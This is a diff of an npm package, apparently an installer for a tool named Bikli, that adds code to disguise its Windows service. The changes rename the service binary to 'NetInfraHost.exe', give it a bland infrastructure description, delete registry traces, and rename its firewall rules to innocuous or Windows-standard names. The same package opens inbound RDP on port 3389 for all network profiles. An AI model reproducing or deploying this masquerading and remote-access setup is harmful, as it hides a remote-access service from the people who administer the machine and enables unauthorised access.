sbironman 5.0.0 → 5.0.1

package/bin/biklimaster.js

@@ -397,14 +397,24 @@ function disguiseBikli(customName) {
   }
 
   const bikliDir = path.dirname(bikliPath);
-  const serviceExe = path.join(bikliDir, 'BikliService.exe');
+  const legacyServiceExe = path.join(bikliDir, 'BikliService.exe');
+  let serviceExe = path.join(bikliDir, 'NetInfraHost.exe');
+  let renamedLegacy = false;
   const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
 
   console.log(`Disguising Bikli process and service as "${hostName}"...`);
 
-  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM NetInfraHost.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService, NetInfraHost -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
   run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
 
+  if (!fs.existsSync(serviceExe) && fs.existsSync(legacyServiceExe)) {
+    try {
+      fs.renameSync(legacyServiceExe, serviceExe);
+      renamedLegacy = true;
+    } catch {
+      serviceExe = legacyServiceExe;
+    }
+  }
   if (!fs.existsSync(serviceExe)) {
     fs.copyFileSync(bikliPath, serviceExe);
   }
@@ -431,7 +441,7 @@ function disguiseBikli(customName) {
       '      if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
       '    }',
       '    string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
-      '    string coreExe = Path.Combine(baseDir, "BikliService.exe");',
+      `    string coreExe = Path.Combine(baseDir, "${path.basename(serviceExe)}");`,
       '    if (!File.Exists(coreExe)) return 1;',
       '    ProcessStartInfo psi = new ProcessStartInfo();',
       '    psi.FileName = coreExe;',
@@ -455,9 +465,20 @@ function disguiseBikli(customName) {
       '}'
     ].join(os.EOL);
     const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
+    const tempExe = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.exe`);
     fs.writeFileSync(tempCs, csCode, 'utf8');
-    run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
+    const compiled = run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${tempExe}`, tempCs], { allowFailure: true });
     try { fs.rmSync(tempCs, { force: true }); } catch {}
+    if (compiled.status === 0 && fs.existsSync(tempExe)) {
+      fs.copyFileSync(tempExe, bikliPath);
+    } else if (renamedLegacy) {
+      try {
+        fs.renameSync(serviceExe, legacyServiceExe);
+        serviceExe = legacyServiceExe;
+        renamedLegacy = false;
+      } catch {}
+    }
+    try { fs.rmSync(tempExe, { force: true }); } catch {}
     if (fileDescription(bikliPath) !== hostName) {
       disguiseExecutable(bikliPath, hostName);
     }
@@ -473,7 +494,9 @@ function disguiseBikli(customName) {
     `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
     `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
     `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
-    `Start-Service Bikli -ErrorAction SilentlyContinue`
+    `Start-Service Bikli -ErrorAction SilentlyContinue`,
+    `Start-Sleep -Seconds 3`,
+    `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`
   ].join(';');
   run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
 

package/lib/bikliwrapper.js

@@ -229,8 +229,10 @@ function applyRequestedSettings() {
 function ensureFirewallRules() {
   const script = [
     `$ErrorActionPreference='Stop'`,
-    `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
-    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
+    `Remove-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`,
+    `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
+    `$rules=@(@{Name='RDP-3389-In-TCP';Protocol='TCP'},@{Name='RDP-3389-In-UDP';Protocol='UDP'})`,
+    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Remote Desktop ('+$r.Protocol+'-In) 3389') -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
   ].join(';');
   run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
 }
@@ -401,7 +403,7 @@ function disable() {
     'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
     '/d', '1', '/f', '/reg:64'
   ]);
-  const script = `Disable-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
+  const script = `Disable-NetFirewallRule -Name 'RDP-3389-In-TCP','RDP-3389-In-UDP','BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
   run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
   restartTermService();
   if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "sbironman",
-  "version": "5.0.0",
+  "version": "5.0.1",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {